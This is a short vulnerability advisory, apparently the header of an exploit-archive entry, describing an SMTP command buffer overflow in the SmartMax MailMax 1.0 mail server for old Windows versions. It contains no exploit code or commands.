SmartMax MailMax 1.0 - SMTP Buffer Overflow

// source: https://www.securityfocus.com/bid/2312/info

Smartmax MailMax is an email server for Windows 95/98/NT. It is vulnerable to buffer overflow attacks against the SMTP-command processing function. This can be exploited to execute arbitrary commands with the privileges of the SMTP process.
